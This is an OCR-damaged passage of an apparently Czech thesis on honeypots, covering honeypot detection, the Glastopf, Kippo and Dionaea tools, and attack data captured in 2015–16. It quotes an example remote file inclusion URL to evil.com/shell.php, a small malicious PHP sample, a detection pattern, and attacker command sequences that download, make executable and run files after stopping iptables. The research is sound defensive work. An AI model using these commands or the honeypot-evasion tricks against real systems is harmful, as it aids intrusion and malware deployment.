stopy o své pritomnosti nebo napadnout okolni systémy. Aby ptitomnost honeypotu
s nizkou mirou interakce nebyla zaznamenana, je nutné oklamat sitové skenery. Pro
honeypoty s vysokou mirou interakce je tedy nutné velmi vérohodné simulovat cilové
zafizeni. Neni problém pro instalaci na fyzickém zafizeni, problém ovSem nastava pro
zafizeni instalované na virtualnim stroji, kde je t€z$i maskovani pied ttocnikem. Rizika

prozrazeni jsou popsana nize.

3.2.7.1 User-mode Linux (UML)

Jedna o Linux kernel, ktery miize bézet uvnitt jiného linuxového systému. Uzivatel
ma moznost poslat jakykoliv paket nebo sitovou aktivitu do UML. S UML systémem
miiZze uzivatel nastavit jakykoliv program nebo sluzbu tak, aby se tvafila, Ze bézi jako na
bézném systému. Napiiklad, kdyz se Gto¢nik piipoji na ssh sluzbu bude mu ukazana realna
bézici sluzba v zivém systému. Vyhodou UML je moZnost ziskat TTY logovani. Spoustu
honeypotti zaznamendva provoz prostiednictvim ,,packet snifferu”, coz je v potadku,
dokud se utoénik nerozhodne pouzit zabezpeéené spojeni. UML mod ma nékolik chyb,
které mohou byt snadno odhaleny zkusenym utoénikem.

UML nepouziva redlny HDD pro uklddéni dat, namisto toho pouZziva virtualni
zafizeni, které se stdva soucasti souborového systému. Tato zafizeni jsou piipojena do

UML jako /dev/ubd*. Je tedy jednoduse mozné ovétit prikazem ,,df-k* nebo ,,mount”, co
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je ptresné piipojeno. V pozdéjsich vydanich UML je toto feSeni skryvano v dev/ubd*
zatizeni a navenek je prezentovan jako skute¢né vypadajici disk.

Dalsi moznosti zjisténi zda jsme v UML nebo skute¢ném systému, je
prostfednictvim ,,/proc tree”. Je mozné, ze se zde bude nachdzet n¢kolik anomalii, které

upozorni zkuseného utoc¢nika.

3.2.7.2 VMware

Nastroj VMware velmi zvedl popularitu honeypotu. UmozZiuje souéasné béh
rizného poctu virtualnich zafizeni v jednom opera¢nim systému a simulaci jakéhokoliv
opera¢niho systému. Emuluje hardwarové vybaveni preddefinovanym nastavenim. Diky
témto vlastnostem a snadnému prenosu z jednoho hostitele na jiného je ¢asto VMware

pouzivan pro honeypoty. Od verze 4.5 byla radikdlné¢ snizena moznost konfigurace

hardware.
Tabulka ¢. 1-Zakladni konfigurace VMware
Hardware Typ
VideoCard VMware Inc [VMware SVGA 11] PCI
Display Adapter
Network Interface Card Advanced Micro Devices [AMD] 79¢970
[PCnet 32 LANCE] (rev 10)
The name of IDE and SCSI devices VMware Virtual IDE Hard Drive,
NECVMWar VMware IDE CDR10, VMware
SCSI Controller
SCSI Controller VMware SCSI Controller

Zdroj: (Holz & Raynal, 2005)

Tyto preddefinované hodnoty délaji honeypot velmi snadno detekovatelnym. Dalsi
hlavni zranitelnosti VMware honeypotti je MAC adresa, ktera je pfifazena sitové karté.
Casti MAC adresy, ktera reprezentuje prodejce (prvni tii oktety), je na VMware sitovém
interface vzdy jedna z téchto hodnot:
00-05-69-XX-XX-XX
00-0C-29-XX-XXXX
00-50-56-XX-XX-XX
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Posledni velkou zranitelnosti VMware honeypott je 1/0O backdoor, ktery byl
ponechan vyvojaii pro runtime konfiguraci virtualnich pocitaci. Jedna se o kod
v assembleru, ktery miize zptistupnit specialné€ navrzeny backdoor.
Ukazky prikazt, které mohou byt pouzity:
Tabulka ¢. 2-Ptikazy VMware

Piikaz Popis
05h Nastaveni pozice kurzoru mysi
07h Vycteni dat z uzivatelova klipboardu
09h Poslani dat do uzivatelova klipboardu
0Ah Ziskani VMware verze
0Bh Ziskani informaci o zatizeni

Zdroj: (Holz & Raynal, 2005), vlastni zpracovani
Uspé&sné spusténi téchto piikazti mize utoénikovi napovédst, e se nachazi

na VMware zafizeni a zptsobit nestabilitu VMware zatizeni.

3.2.7.3 chroot, jails

Jedna se o podobné pouziti jako virtualni zafizeni, jen s tim rozdilem, Ze se toto
déje pod stejnym hostitelem a kernelem na kterém bézi operacni systém. Chroot v zasad¢
limituje uzivatele na specifickou oblast systému, ale zaroveil mu dava pocit, ze stoji na
nejvyssi pricce souborového systému. Toto dovoluje vytvoreni malého, simulovaného
prostiedi v ramci systému, které nemize zpusobit zadné skody. Z tohoto pohledu miizeme
uto¢nikovi nastavit hlidané cesty s dokumenty a pozorovat co s nimi chce délat, jako jsou
naptiklad /dev nebo proc slozky nebo standardni slozky /usr ¢i /etc. Z tohoto pohledu je

také mozné simulovat rtuzné distribuce Linuxu nastavenim specifickych slozek s chroot.

3.2.7.4 Casovani

Jednd se o problém vSech honeypotli. Honeypot loguje to, jak utoc¢nik vyuzije
zafizeni, kazdou spusténou instrukci a piikaz. VétSina téchto piikazti zpiisobi dalsi
interakci, tedy vétsi zatéz. Vsechny tyto udalosti mizou zputsobit ¢asovou prodlevu, kterou
milZze Gto¢nik zaznamenat nebo vytizeni honeypotu a jeho pad. Specialni ptipady jsou pak
vizualizované honeypoty, kde jsou zaznamenavany i chyby virtualnich stroji, napiiklad

u virtualniho stroje VMware.
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3.2.7.5 Honeyd

Honeyd je démon, ktery je napsan pro UNIXové platformy, ale nyni existuje uz i
pro Windows. Je designovan tak, aby emuloval vice hostl a siti na jednom pocitaci. Pii
emulovani hosta se miize tvarit jako jakykoliv opera¢ni systém, ktery uzivatel chce. Tohoto
je pro uto¢nika dosazeno pomoci emulace odchozich paketl, které simuluji pozadovany
operacni systém. Tyto pakety slouzi jako odpovéd’ na to, pokud nékdo hromadné skenuje
sit’ pro nalezeni raznych hostiteld. Ur¢ité sluzby, jako IIS nebo telnet démon na Cisco
routerech mohou byt emulovany pomoci dodateéné instalace moduli nebo perl skriptd.
Tyto skripty dovoluji uto¢nikovi pfipojit se na specificky port a davaji mu pocit, Ze je na
pozadovaném zatizeni. Skripty mohou emulovat jakoukoliv sluzbu, zdlezi na pozadavcich
uzivatele. Honeyd pracuje na principu poslouchani sité¢ a paketli, které jsou zaméefené na
konkrétni ip adresy a porty. Poté uz zdleZi na konfiguraci pfisluSnych konfiguraénich
soubort, které musi obsahovat pfedem definovanou dvojici
odpoveéd- zadost.

Jednim z hlavnich problémi Honeyd je snaha odpoveédét na vSechny pakety 1 na ty,
na které by odpovidat nemél. Jedna se tfeba o nevalidni pakety. Toto bude uto¢nikem
vétSinou prehlédnuto, protoze ndstroje, které obvykle pouzivd, neocekavaji odpovéd.
Jedina moZnost jak toto chovani odhalit, je sledovani sité pomoci paket snifferu.

Dalsi vazny problémem je emulovani sluzby prostifednictvim perl skriptu, kdy
muze uto¢nik tyto skripty prozkoumat a testovanim odhalit chyby v téchto skriptech

a vyuzit je pro odhaleni honeypotu a jeho poskozeni.

3.2.7.6 Procesor

Jedna z moznosti, jak zaznamenat pfitomnost virtualni stanice, je detekce
procesoru. V ochranném modu operac¢niho systému jsou ptistupy do paméti zpracovavany
pomoci tabulek, ukazateld, registri a instrukci pferuSeni. Posledni jmenované, tedy
instrukce mohou byt spustény i neprivilegovanym procesem. Problém nastane v momentu,
kdy vice procesi se pokusi soucasné¢ volat jednu instrukci. Procesor ma pfistup
K instrukcim pouze jednou. Tento problém mize vznikat pii béhu virtudlnich operac¢nich
systémi. Aby nevznikal konflikt, je dana instrukce pro virtualni stroj pfemapovana. Pokud

toto Utocnik odhali, miiZe usuzovat, Ze se jedna o virtualni operacni systém.
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3.2.8 Sebek

Jednd se o klient-server aplikaci, jejiz primarni ucel je zachyceni aktivit Gto¢nika
ve vyzkumnych honeypotech. Jedna se o kernel rootkit, ktery zachytava a uklada veskera
systémova volani read(). Sebek je aktivni vyhradné v kernelu a ma tak pfistup ke vSem
datim V neSifrovaném tvaru. Mize zaznamenavat jakdkoliv data na SSH relaci nebo
zaznamenavat hesla uto¢nikl. Data jsou skryté¢ odesilana pires UDP protokol na Sebek
server, ktery je soucasti této architektury. Tohoto je dosazeno modifikaci kernelu pro skryti
tohoto odchoziho provozu a jsou také modifikované sitové datové struktury pro ztizeni
detekce. Nanestésti je mozné poslouchat provoz na siti a zaznamenat pfitomnost Sebek,
protoze Sebek vSe co zaznamena pies funkci read() odesle po siti. Pokud bude poslouchan

provoz na siti, je mozné tedy tento provoz rozpoznat.

3.2.8.1 Snort_inline

Jedna se o modifikovanou verzi populdrniho IDS systému Snort, kterd pfidava nova
pravidla, jako jsou drop, reject nebo sdrop a tika firewallu jak ma byt s paketem
zachazeno. Tato technologie byla pouzita v druhé generaci honeypotu pro identifikaci
a blokovani znamych utokd. Snort inline také pfidava ochranu pfi prolomeni honeypotu
uto¢nikem a snahou napadnout sit’. Bohuzel zruseni nebo modifikace odchozich paket
muiiZe navést utoénika k identifikaci tohoto chovani a nalezeni Snort_inline. Utoénik
se sledovanim pakett v siti mize dozvédét, zda paket byl amysIn¢ cely zruSen nebo

jakakoliv jeho cast, napiiklad Time to live (TTL) byla zménéna.

3.2.8.2 Komer¢ni nastroje

Existuji také komer¢ni anti-honeypot nastroje. Jednim z nich je Honeypot Hunter.
Tento nastroj kontroluje seznam HTTPS a SOCKS4/SOCKSS proxy pro existenci riiznych
druhti honeypotu a tarpidu. Tento program funguje na otevieni faleSného mail serveru na
portu 25 a ptipojeni samo na sebe skrz danou proxy. Honeypot je zaznamenan, pokud

proxy server ukazuje aktivni konektivitu, ale spojeni na tento port neni navazano.
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4 Pouzité technologie

4.1 Glastopf

Jedna se o webovy honeypot v jazyce Python. Simuluje mnoho zranitelnosti
webovych aplikaci se snahou maximaln¢ zdokumentovat dany utok. Principu fungovani je
velmi jednoduchy, honeypot se snazi pozitivné odpovidat na Gto¢nikovy pokusy. Pfevazné
se jedna o remote file inclusion, SQL injection a local file inclusion attack. Sesbirana data
jsou ulozena na disk a do databaze. Glastopf skenuje prichozi spojeni na fetézce, jako jsou
"=http://" or "CAST(0x". Pokud je nalezena shoda, pokusi se stdhnout soubor

a co nejveérohodnéji odpoveédet itocnikovi.
Hlavni vyhody:

e Zranitelnost je emulovana dle typt. Jakmile je jeden Gtok emulovan, mize Glastopf

zachytit neznamé utoky stejného typu.

e Glastopf je modularné¢ konstruovan, je mozné piidavat dal$i rozsiteni jako je

napiiklad hlubsi zaznamenavani nebo rozsifena manipulace s daty.

e Jsou emulovany popularni typy utokl, jako jsou remote file inclusion pies
vestavény PHP sandbox, local file inclusion, ktery poskytne virtudlni data a HTML

injection pouzitim POST request.

e Glastopf pro snadné nalezeni a zacileni nabizi kli¢ova slova, kterd nejcastéji hledaji

utoCnici. Ziskava je také z requesti a pridava je pro svou atraktivitu.
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Slozkové struktura:

Tabulka €. 3-Slozkova struktura Glastopf

Néazev Popis

Data Slozka pro ukladani zachycenych souborti a sandbox
db Slozka s databazi.
log Defaultni slozka pro ukladani logg.

glastopf.cfg

Konfiguracni nastaveni Glastopf

start.sh

Shell skript pro start Glastopf.

Zdroj:autor

4.1.1 Zakladni architektura

Glastopf funguje jako web server, ktery zpracovava ptichozi pozadavky. Urcita Cast

pozadavku miZe byt uloZena do databaze nebo na disk a server poté vraci odpovéd.

Zpracovani je na obrazku nize. Pokud posle Gto¢nik Skodlivy pozadavek s malwarem nebo

jinak nebezpe¢nou ptilohou, je tento prichozi pozadavek filtrovan emulatorem a poté jsou

data uloZena na disk nebo do databaze. Aby tuto¢nik nenabyl podezieni je mu vracena

validni odpovéd'.

Obrazek ¢. 9-Zakladni architektura Glastopf
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5

Reply to attacker

Zdroj: (Rist, 2010)

Pro generovani validni odpovédi je nutné znat veSkeré informace o Utoku. Cely

poZadavek se sklada ze tfi ¢asti, jako na tomto pfikladu. Prvni dvé komponenty, metoda
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a dotaz jsou dilezité.

GET http://www.example.com/folder/index.html HTTP/1.1

Web server ptichozi poZzadavek zpracuje a nasledné na zakladé tohoto pozadavku
se rozhodne, kterou metodu ma honeypot pouzit. Jsou podporovany tyto metody GET,
POST a HEAD. Glastopf odpovi HEAD zadosti s hlavickou web serveru. Pokud by byl
pozadavek typu POST, je obsah uloZen. VétSinu Casu ale Glastopf dostava pouze GET
pozadavky. Honeypot poté zkusi identifikovat druh utoku a to na zaklad¢ ptfedefinovanych
vzort. Tyto vzory jsou zaloZeny na znamych typech Utokii. Novy ptiklad:

GET http://example.com/vulnerable.php?color=http://evil.com/shell.php

Utoénik definuje proménou "color" jako odkaz na nebezpe&ny soubor. Tento druh Gtoku se

nayva "Remote File Inclusion™.
Glastopf pouZzije vnitini vzory k zachyceni této zranitelnosti pomoci vzoru:

if '=http://' inrequest:
handle_rfi_request()

Pokud byl identifikovan druh Utoku, zacne se generovat odpoveéd pro uspésné
provedeni. Tedy kladna odpovéd’ tito¢nikovi, aby nic nepoznal.
Glastopf obsahuje jednoduchy parser pro infikované PHP soubory. Pokud je zaznamenan
infikovany soubor, extrahuje se ta Cast, ktera generuje odpovéd’ a pokusi se formulovat

validni odpovéd'.
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Obrazek ¢. 10-Zachyceni Utoku Glastopf
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Zdroj:(Rist, 2010)

4.1.2 Remote File Inclusion

Jedna se o velmi jednoduchy utok, kdy se web server kompromituje nebezpecnym
souborem. Uto¢nik vétsinou ocekava ur¢ity druh zpétné reakce z infikovaného kddu o tom,

7e utok byl Gspésny.
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Obrazek ¢. 11-Zachyceni remote file inclusion utoku
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Na obrazku ¢. 11 se zacina posilanim HEAD pozadavku k utoc¢nikovi. Poté se

honeypot snazi ziskat soubor, ktery chce uto¢nik pouzit. Poté emulator zranitelnosti (na

obrazku ¢. 12) projde kod pro nalezeni volani echo funkce. Glastopf pak jakékoliv volani

proménné v kddu nahradi svou hodnotou.
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Obrazek ¢. 12-Emulace zranitelnosti Remote file inclusion
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Ptiklad, infikovany soubor:

<?php $un =@php_uname();
$up = system(uptime);
echo "uname -a: $un<br>";
echo "uptime: $up<br>";

7?>
Emulator zranitelnosti pouzije fadek s
$un = @php_uname();
a nahradi
@php_uname(); s
validni hodnotou. Poté ji ulozi do slovniku, odkud emulator
ziska hodnotu, pokud je volana.

echo "uname -a: $un<br>";
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Odpovéd’ poté bude priblizné takova:

uname -a: GNU/Linux","Linux my.leetserver.com 2.6.18-6-k7<br>
uptime: 19:42:43 up 3 days, 22:39, 1 user, load average: 0.9, 0.2 0.1<br>

Jedné se sice o nevalidni XHTML, ale pfesto je vraceno Gtoénikovi.

4.1.3 Local File Inclusion

V tomto typu utoku se Gto¢nik snazi vyuzit slabinu v systému pro ziskani kritickych
informaci nebo spusténi vlastniho nebezpeéného kddu. Pokud se utoénik snazi ziskat
systémové soubory jako password nebo shadow, Glastopf odpovi dynamicky
generovanymi daty, které jsou podobné datiim, které chce uto¢nik ziskat. Pokud pro
honeypot je typ Utoku neznamy, pouze ho zaznamena a odpovi uto¢nikovi chybou.
Odpovéd” uto¢nikovi je konfigurovatelna, pro rizné chyby lze tedy nastavit razné

odpoveédi.

4.1.4 Zaznamenavani a Analyza

Pokud je zaznamendn nebezpecny soubor, je ulozen na disk do pfesné
specifikované slozky. Nasledna analyza muaze byt bud’ lokalni, nebo mize byt soubor
nahran na externi nastroj ¢i sluzbu jako jsou CWSandbox, Norman Sandbox, VirusTotal

nebo Anubis pro budouci analyzu.

4.2 Kippo

Jedna se o honeypot se stiedni mirou interakce, ktery zaznamenava piedevsim ttok
hrubou silou prostfednictvim ssh. Kippo emuluje ssh relaci a pokud je uzivatel v potadku
autorizovan i interakci se shellem, tedy zaznamenava vSechny ptikazy v shellu do slozky.
Pomoci ptikazu wget umoziuje ukladat soubory na disk pro pozdgjsi analyzu.

Vyhody:
e FaleSny souborovy systém s moznosti pfiddvat nebo odebirat soubory.
e Relace je ukladana jako UML kompatibilni pro pfesnou ¢asovou analyzu.
e MozZnost pfidani souborti zajimavych pro uto¢nika.

e Ukladavani souboril pro pozdéjsi analyzu.
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e Simultanni ukonceni SSH spojeni, honeypot piikazem exit neukonéi spojeni, ale

prepne do podobné piikazové fadky a snazi se sesbirat dalsi informace.

Slozkova struktura:

Tabulka ¢. 4-Slozkova struktura Kippo

Nézev Popis
Data Viceucelova slozka pro rizné druhy soubord, naptiklad pro databazi.
Txtcmds Slozka pro vytvaieni piikazu.
dl Defaultni slozka pro ukladani stazeného malwaru a exploitu.
log Defaultni slozka pro ukladani vsech logg.
utils Nastaveni a sprava Kippo utilit.
honeyfs Data, ktera jsou prezentovana uto¢nikovi.
fs.pickle Soubor v jazyce Python, obsahuje formatovani virtualniho souborového
systému.
start.sh Shell skript pro start Kippo.
Kippo.cfg Konfigura¢ni nastaveni Kippo.

Zdroj:autor

4.2.1 Zaznamenavani a Analyza

Kippo uklada svlij souborovy systém jako ,,pickle file*. Pickle pouziva jednoduchy
virtualni stack-based systém, ktery zaznamenava potiebné instrukce pro rekonstrukci
objektu. Da se tedy fici, Ze ,,pickle file* pfedstavuje dump ¢asti paméti, kterd umoziuje
jednoduse zapsat objekt na harddisk v binarnim formatu. Pozdéji se snadno tento objekt
muize nacist do paméti. Vzdy kdyz se ptipoji novy uzivatel na honeypot, Kippo nacte
souborovy systém do paméti. Utoénik tedy miize pracovat s timto souborovym systémem

jako se standardnim souborovym systémem.
4.3 Dionaea

Dionaea je honeypot s nizkou mirou interakce, ktery pievazné zaznamenava
payloady a malware.Je povazovan za nastupce popularniho honeypotu Nepenthes. SnaZi se
zachytit malware pomoci volné dostupnych zranitelnych sluzeb, které jsou vystaveny do

sit¢ a poté udéld kopii zaznamenaného malware. Dionaea podporuje modularni
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architekturu a embeduje python jako skriptovaci jazyk, pouziva libemu pro detekci

shellk6du, podporuje IPv6 a TLS.

Podporované protokoly:
Tabulka ¢. 5-Podporované protokoly Dionaea

Protokol Popis
Server Message Block (SMB) Jedna se o hlavni nabizeny protokol Dionaea.
SMB ma velkou historii v podob& zndAmych a

Castych chyb a je velmi oblibenym cilem
¢ervu. Jedna se o protokol pro sdilenému

ptistupy k riznym slozkam a zafizenim.

Hypertext Transfer HTTP je nabizen na portu 80, HTTPS
Protocol(HTTP/HTTPS) certifikat je vygenerovan pii startu.
File Transfer Protocol (FTP) Je nabizen na portu 21, poskytuje zakladni

moznosti jako vytvareni slozek, stahovani a

nahravani souboru.

Trivial File Transfer Protocol (TFTP) | Je poskytovan na portu 60, mize slouzit pro
nabizeni soubord.

Microsoft SQL Server (MSSQL) Dionaea obsahuje Tabular Data Stream
protokol, ktery je pouzivan Microsoft SQL
Serverem. B€zi na portu TCP/1433, dovoluje

zaznamenani a spousténi sql ptikazi.

Voice over IP (VoIP) Jedné se o implementaci Session Initial
Protocol (SIP), Dionaea ¢eka na ptichozi SIP

zpravu, zaznamena vsechna dostupna data a

odpovi.

Zdroj: http://www.edgis-security.org/honeypot/dionaea/



Slozkové struktura;:

Tabulka ¢. 6-SloZzkova struktura Dionaea

Néazev

Popis

dionaea/binaries

Slozka s binarnimi daty.

dionaea/bistreams

Slozka s binarnimi streamy z SIPO.

dionaea/logsql.sqlite

Slozka s databazovym zaznamem.

Slozka pro zaznam dat ze SIP modulu.

dionaea/rtp

dionaea/sipaccounts.sqlite

Slozka se SIP databézi.

log/dionaea.log

Defaultni sloZka pro ukladani logt.

dionaea/dionaea.conf

Konfigura¢ni nastaveni Dionaea.

LibEmu

Zdroj:autor

Je pouzivan pro detekci, kontrolu, a pokud je to nezbytné i ke spousténi shellkodu.

Kontrola a profilace shellkddu se déje pti spusténi v LiIbEmu VM, kde jsou nahrany jeho

API volani a parametry. Toto je zadouci pro profilovani vétSiny shellkddu az na multi-

stage shellkddy. VétSinou pro zaznamenani api volani a parametrd je nutné povolit

shelkodu jistou akci, tieba vytvofeni internetového spojeni. Jakmile je ziskan payload je

malware zkopirovan.

Reakce na techniky utoc¢niki:

Tabulka ¢. 7-Dionaea reakce na techniky Gto¢nika

Technika

Popis

Shell Binding / Connect Back, Exec

Je nabidnuto emulovani shellu pro payload.

URLDownToFile API

Je nabidnuta emulace shellu, ktery vola
URLDownToFile API pro staZzeni souboru
pomoci HTTP a poté jeho spusténi.

Multi-Stage Payloads

Je pouzita LibEmu ke spusténi shellkddu od
utocnika v LibEmu VM.

Zdroj: http://www.edgis-security.org/honeypot/dionaea/
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4.3.1 Zaznamenavani a Analyza

Dionaea umoziuje zaznamenavani udalosti do textovych souborti na disk nebo
externi ulozisté. Navic umoziuje nakonfigurovat zaznamenavani znamé jako ,,Incidents®.
Incidenty obsahuji informaci o utoku, ktery prosel skrz handler ,,iHandler*.
Zaznamenavani pomoci python skriptu LogSQL umozni iHandleru zapisovat zajimave
incidenty do SQL.ite databaze. Jednou z vyhod této techniky zaznamenavani incidentd je
moznost clusterového zpracovani informaci z databiaze.  Dionaea umoziuje také

konfiguraci a posilani logi prostfednictvi streamu na XMPP server.

5 Prakticka Cast

Z kazdého honeypotu byla analyzovana urcita oblast zajmu, pro Kippo to byla
napiiklad uzivatelska jména a hesla, ptikazy uzivatele nebo investigace hrozeb. Pro
honeypot Glastopf se jednalo o analyzu vyhledavanych zaznamd, tedy o intext, intitle a
inurl a ostatni zachycené hrozby jako byly CGI skripty nebo skenery. Honeypot Dionaea
slouzil k analyze MySQL ptikazii a analyze zachycenych soubort. Pro praktickou c¢ast
byly pouzity softwarové a hardwarové technologie niZze. Napojeni do sité internet bylo

realizovano dle obrazku ¢. 9, varianta Honeypot A.

5.1 Uprava konfigurace

Uprava konfigurace byla provedena pro viechny implementace. Jednalo se o
rozSifeni report udalosti z honeypotii na stranky tfetich stran jako je naptiklad
virustotal.com. Pro zlepSeni pfistupu k zdznamum z databaze bylo upraveno ukladani dat
pro Kippo a Glastopf do MySQL databaze. Pro Dionaea bylo ponechano ukladani do
databdze SQLlIite. Z divodu absence rotace logi u Dionaea byla rotace nastavena pomoci
cront. Grafické moduly byly dostupné pro Dionaea a Kippo, Glastopf z diivodu tpravy
ukladani dat do databaze mél grafické vystupy nedostupné. VétSina statistik a informaci

byla ziskana pomoci SQL dotazii do databazi. Tabulka s hardware zatizenimi nize.
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Tabulka ¢. 8-HW konfigurace

Néazev Vlastnosti
HW SW Vizualizace | Databaze
logti
Glastopf | 4GB RAM, Core-2-Duo, Glastopf 3.1.2 - Mysql
120GB HDD
Kippo Raspberry Pi 2 Model B Kippo-0.8 Kippo- Mysql
1GB, 16GB HDD Graph
15.1
Dionaea 4GB RAM, Core-2-Duo, VirtualBox, dionaea- | DionaeaFR | SQLlIite
120GB HDD 0.1.0 0.1v

5.2 Kippo

Zdroj:autor

Tabulka ¢. 9-Aktivita na Kippo pted prihlasenim

Popis

Hodnota

Prvni Utok

10-Oct-2015, 18:16 PM

Posledni Utok

28-Feb-2016, 16:11 PM

Celkovy pocet pokust o prihlaseni

5384 (5077 neuspesnych, 307 tspéSnych)

Unikatni IP adresy

154

Zdroj:autor

Tabulka ¢. 10-Aktivita na Kippo po piihlaseni

Celkova aktivita na honeypotu Kippo po piihlaseni

Popis Hodnota
Celkovy pocet piikazi 1410
Unikatni pocet prikazl 325
Celkovy pocet stazeni ptiloh 180
Unikatni pocet staZzenych ptiloh 62

Zdroj:autor
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5.2.1 Sbér hesel a uzivatelskych jmen

Sbér uzivatelskych jmen a hesel byl provadén hlavné na honeypotu Kippo pro port
22, na kterém bézi sluzba SSH. Uzivatel se tedy musel uspésné piihlasit, aby mohl délat
jakoukoliv dal8i ¢innost na zafizeni. Nejcastéjsi jména, hesla a jejich kombinace jsou na
grafech nize, pfevazné se jednalo o standardni kombinace, jako jsou admin/123456,
root/root nebo admin/password. Urcita kombinace hesel byla také nastavena na honeypotu,
jednalo se tieba o pi/keepers, tedy utoénik se musel nejdiive pomoci jakékoliv jiné klasické

kombinace dostat na honeypot a odtud ziskat seznam hesel.
Graf ¢. 3-Kippo Topl0 hesel
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Zdroj:autor
Celkov¢ 2858 unikatnich hesel.
Graf ¢. 4-Kippo Top10 uzivatelskych jmen
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Celkové 330 unikéatnich prihlasovacich jmen.

Graf ¢. 5-Kippo Top10 kombinaci uzivatelskych jmen a hesel
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Zdroj:autor

Celkove 3350 unikatnich kombinaci jméno/heslo.

5.2.2 Analyza spousténych piikazi

Jednalo se o analyzu ptikazii spousténych prostfednictvim piikazové fadky na portu 22.

Top 10 successful input
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Celkove 196 unikatnich tspésnych vstupt a 326 netispésnych.
Z Grafu vySe byly spoustény tyto piikazy:

e cd /tmp- otevieni adresare /tmp
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e exit-ukonceni spojeni

e echo “cd /root/“>>/ETA/rc '-zapise cd/root do /ETA/rc

e echo “/ETA/init.d/iptables '

e chmod u+x dos6cc4-nastaveni prav pro spousténi pro soubor dos6cc4d
e wget http:// [ipadresa zdroje]-stazeni souboru z IP adresy

e cd.. -skok do hlavniho adresate

e wget —O /tmp/.XMLj-25000-stahne vysledek do adresaie /tmp

o echo “WinSCP: this,-vypiSe text
IP: [ipadresa zdroje] dne 2016-02-25 07:05:40

e stazeni souboru pomoci curl do adresate /tmp/007
e nastaveni prav pro spousténi pro adresar /tmp/007

e spusténi adresare

IP: [ipadresa zdroje] dne 2016-03-01 01:21:56

e zastaveni sluzby iptables

e staZeni souboru pomoci wget
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e nastaveni prav pro spousténi pro adresai /root/112fff

e beh procesu na pozadi pomoci nohup a presmérovani vystupu do /dev/null a

do bash

5.2.3 Analyza zachycenych souborii
Analyza byla provedena dle virustotal.com, zdroje AVG na zaklad€ zachycenych soubort.

Tabulka ¢. 11-Kippo zachycené soubory

Soubor Nazev viru
20160301013542_http__ [ipadresa zdrojel]_wrt1132 Linux/MrBlack.E
20160301012210_http__[ipadresa zdrojel]_112fff Linux/ChinaZ.L
20160224115540 http__ [ipadresa zdrojel] xinudp Linux/BackDoor_c.DR
20151212124734 http__[ipadresa zdrojel]_DDosClient32 | Linux/MrBlack.G
20160222160415 http__ [ipadresa zdrojel]_ygl21 Linux/BackDoor —

Backdoor.Linux.Mayday.G

Zdroj:autor
Linux/MrBlack.E- MrBlack.G

Je druh trojanu, ktery napadéd linuxovy operacni systém a je pouzivan k DDoS utoktm.
Vyuzivé se utoku UDP a TCP flood. Sprava botnet sité je prostfednictvim piikazovych a
kontrolnich serverti. Umoziuje také pouziti DNS a vytvoieni DNS Amplification Gtoku.
Linux/ChinaZ.L

Je druh malwaru, ktery bézi na operacnim systému Windows a obsahuje uto¢ni skript,
ktery utoCi na operacnim systému Linux a vyuziva zranitelnosti Shellshock. Tento
nebezpecny malware umoziiuje DDoS tutoky.

Linux/BackDoor c.DR

Jedna se o malware, ktery ziskava informace o pocitaci, ktery napadne. Jedna se o zakladni
hardwarové charakteristiky. Béhem infekce také vytvoii zadni vratka pro manipulaci se
systétmem a spousténi piikazi ze serverl. Stejné jako predchozi hrozby, je vyuZzivan
k DDoS tutoktim.

Backdoor.Linux.Mayday.G

Jedna se o Linux trojana umoznujici DNS amplification DDoS utok. Botnet byl pak

hostovan prostiednictvim Amazon EC2. Ve svém kodu vyuziva dva exploity oznaované
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jako cve-2014-0196 a cve-2012-0056. Prvni exploit umoziuje Spatné oSetfenou funkci
zapisu Vv kernelu zvysit uzivatelska opravnéni a dovoluje také poSkozeni paméti a pad
systému. Druha zranitelnost vlivem $patné oSetiené podminky zapisu v paméti umoziuje
zvySeni uzivatelskych prav.

5.2.4 TOP 5 zaznamu

Tabulka ¢. 12-Kippo Top5 IP adres

IP adresa Pocet prizkumt Mésto Region Zemé | Kaod
[ipadresa zdrojel] 1186 Walnut Californie USA usS
[ipadresa zdroje2] 979 Hefei Anhui Sheng | Cina | CN
[ipadresa zdroje] 558 Nanjing Jiangsu Sheng | Cina CN
[ipadresa zdroje3] 364 Nanjing Jiangsu Sheng | Cina CN
[ipadresa zdroje] 353 Walnut Californie USA uUsS

Zdroj:autor

5.2.4.1 Analyza zdrojt:

Pro nejcastéjsi IP adresy byla provedena analyza zdroje utoku. Byly pouzity volné
dostupné technologie ve spolupréci s vlastnim fesenim honeypotu Kippo.
e dshield.org- Open source sluzba pro sdileni zaznamu z firewallt, honeypott a
jinych bezpecnostnich prvki.
e virustotal.com- Open source sluzba pro analyzu nebezpecnych soubort, které
mohou obsahovat viry, malware, ¢ervy nebo trojské koné¢.
e mccafee.com (Threat Intelligence)-Open source sluzba pro analyzu velkého
mnoztvi zdroji jako jsou ip adresy, viry, url, malware a jiné.
IP: [ipadresa zdrojel]
Zachycené hrozby dle dshield.org:

Tabulka ¢. 13-Kippo 1-Zachycené hrozby dshield.org

Prvni pripad Posledni ptipad Dtivod

2015-09-16 2015-10-19 Port 22 Scanner
2015-11-04 2015-11-17 Port 443 Scanner
2015-11-04 2015-11-16 Port 80 Scanner
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2015-11-04 2015-11-17 Apache Web Server Scanner
2016-01-12 2016-01-18 CIl Army List
2015-09-19 2015-10-19 Emergingthreats
2015-09-19 2016-03-13 OpenBL SSH Scanners

Zdroj: http://www.dshield.org/

Z této ip adresy pfichazelo velké mnozstvi pozadavkd na skenovani portt 22
(SSH), 443(HTTPS), 80(HTTP), kdy se jednalo o sitové skenery, které hledaly
zranitelnosti. O sitovy skener, ktery hleda zranitelnosti na serverech Apache, se jednalo
také v ptipadé ,,Apache Web Server Scanner®. Open source black list nazyvany ,,Cl Army
List obsahuje ip adresy nashromazdéné ze signatur zatizeni IDS a IPS z celého svéta,
které by se mély blokovat. Emergingthreats obsahu signatury z IDS zafizeni, tedy také ip
adresy, které by se meély blokovat. OpenBL je open source blacklist projekt,
zaznamenavajici velké mnozstvi hrozeb jako je monitoring utokt napiiklad na porty
21(FTP), 22(SSH), 23(TELNET), zdznam utoki hrubou silou nebo skenovani zranitelnosti
phpMyAdmin.

Analyza Mcfee Labs mcfee.com:

Tabulka ¢. 14-Kippo 1-Zachycenée hrozby mcfee.com

Risk Web Email Sit
Stfedni
Neovéreno

Zdroj: http://www.mcfee.com/

Analyza MCfee vychazi z dostupné ,,Threat Intelligence* sluzby, ktera analyzuje
data na zdklad¢ informaci ze svych zafizeni z celého svéta. Poskytuje vyhodnoceni
zakladni hrozby pro webovou stranku, email a sitovou infrastrukturu.

Analyza na strance virustotal.com dle AVG pfinesla hrozby v podobé téchto virl
